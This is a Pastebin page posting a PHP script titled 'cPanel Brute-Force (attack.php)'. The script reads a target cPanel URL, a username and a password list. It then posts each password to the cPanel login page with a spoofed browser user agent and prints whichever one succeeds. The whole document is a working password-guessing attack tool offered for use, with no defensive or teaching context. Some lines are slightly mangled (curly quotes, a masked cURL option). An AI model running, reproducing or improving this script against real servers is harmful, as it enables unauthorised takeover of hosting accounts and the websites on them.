Advertisement
Khalequzzaman24

cPanel Brute-Force (attack.php)

Aug 15th, 2016
737
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.40 KB | None | 0 0
  1. <?php
  2. echo “URL (cPanel Main Page e.G http://site.com:2082): “;
  3. $url = trim(fgets(STDIN));
  4. echo “USER TO BRUTE: “;
  5. $user = trim(fgets(STDIN));
  6. echo “PASSLIST: “;
  7. $passlist = trim(fgets(STDIN));
  8. brute_cPanel($url, $user, $passlist);
  9. function login_cPanel($url, $user, $pass)
  10. {
  11. $target = trim($url).”/login/”;
  12. $post_data = “login_theme=cpanel&user=”.$user.”&pass=”.$pass;
  13. $referer = trim($url);
  14. $user_agent = “Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3″;
  15. $curl_conf = array(
  16. CURLOPT_RETURNTRANSFER => TRUE,
  17. CURLOPT_FOLLOW******** => TRUE,
  18. CURLOPT_USERAGENT => $user_agent,
  19. CURLOPT_REFERER => $referer,
  20. CURLOPT_POST => TRUE,
  21. CURLOPT_POSTFIELDS => $post_data
  22. );
  23. $curl_handle = curl_init($target);
  24. curl_setopt_array($curl_handle, $curl_conf);
  25. $content = curl_exec($curl_handle);
  26. file_put_contents(“result.htm”, $content);
  27. if (!preg_match(“[Login Attempt Failed\!]“, $content))
  28. {
  29. return true;
  30. }
  31. else
  32. {
  33. return false;
  34. }
  35. }
  36. function brute_cPanel($url, $user, $passlist)
  37. {
  38. $passes = file($passlist);
  39. $count = count($passes);
  40. $counter = 0;
  41. echo “CHECKING FOR “.$count.” PASSES\r\n”;
  42. while ($counter < $count):
  43. $current_pass = trim($passes[$counter]);
  44. if (login_cPanel($url, $user, $current_pass))
  45. {
  46. echo “SUCCESS: “.$current_pass.”\r\n”;
  47. return true;
  48. }
  49. $counter++;
  50. endwhile;
  51. return false;
  52. }
  53. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement